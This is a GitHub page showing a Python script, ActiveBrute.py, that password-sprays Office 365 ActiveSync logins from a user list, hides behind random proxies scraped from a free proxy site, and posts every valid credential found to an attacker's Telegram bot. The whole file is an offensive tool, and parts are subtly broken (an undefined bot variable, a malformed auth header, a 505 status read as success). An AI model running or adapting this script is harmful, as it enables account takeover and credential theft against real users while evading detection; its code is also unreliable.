-
Notifications
You must be signed in to change notification settings - Fork 0
/
ActiveBrute.py
73 lines (55 loc) · 2.19 KB
/
ActiveBrute.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# python3 ActiveBrute.py <userlist.txt> <password>
import requests
from bs4 import BeautifulSoup
from random import choice
from requests.auth import HTTPBasicAuth
from sys import argv
import base64
targeturl = 'https://outlook.office365.com/Microsoft-Server-ActiveSync'
telegrambot_key = 'botapikey'
telegramchat_id = 'chatid'
def proxy_generator():
response = requests.get("https://sslproxies.org/")
soup = BeautifulSoup(response.content, 'html5lib')
proxy = {'https': choice(list(map(lambda x:x[0]+':'+x[1], list(zip(map(lambda x:x.text, soup.findAll('td')[::8]), map(lambda x:x.text, soup.findAll('td')[1::8]))))))}
return proxy
def check_proxy(request_method, url, **kwargs):
print("Finding live proxy...")
while True:
try:
proxy = proxy_generator()
response = requests.request(request_method, url, proxies=proxy, timeout=3, **kwargs)
break
except:
pass
return proxy
def encode_creds(user):
userpass = user + ":" + argv[2]
b64_user = userpass.encode('ascii')
b64_user = base64.b64encode(b64_user)
b64_user = b64_user.decode('ascii')
print("Trying: " + userpass + " - Base64: " + b64_user)
return b64_user
def check_creds(creds):
while True:
try:
proxy = check_proxy('get', "https://ipinfo.io/json")
req = requests.get(proxies=proxy, timeout=3, url=targeturl,
headers = {'Authorization' : "'Basic" + creds + "'"})
if req.status_code == 505:
print("It's a hit! - " + creds)
postdata = {'chat_id' : telegramchat_id, 'text' : 'Cred hit: ' + creds}
hit = requests.post('https://api.telegram.org/' + telegrambot + '/sendMessage', data=postdata)
break
else:
print("Wrong credentials!")
break
except:
print("Proxy error!")
pass
if __name__ == '__main__':
with open(argv[1], 'r') as userfile:
for line in userfile.readlines():
line = line.replace('\n', '')
encoded = encode_creds(line)
test_creds = check_creds(encoded)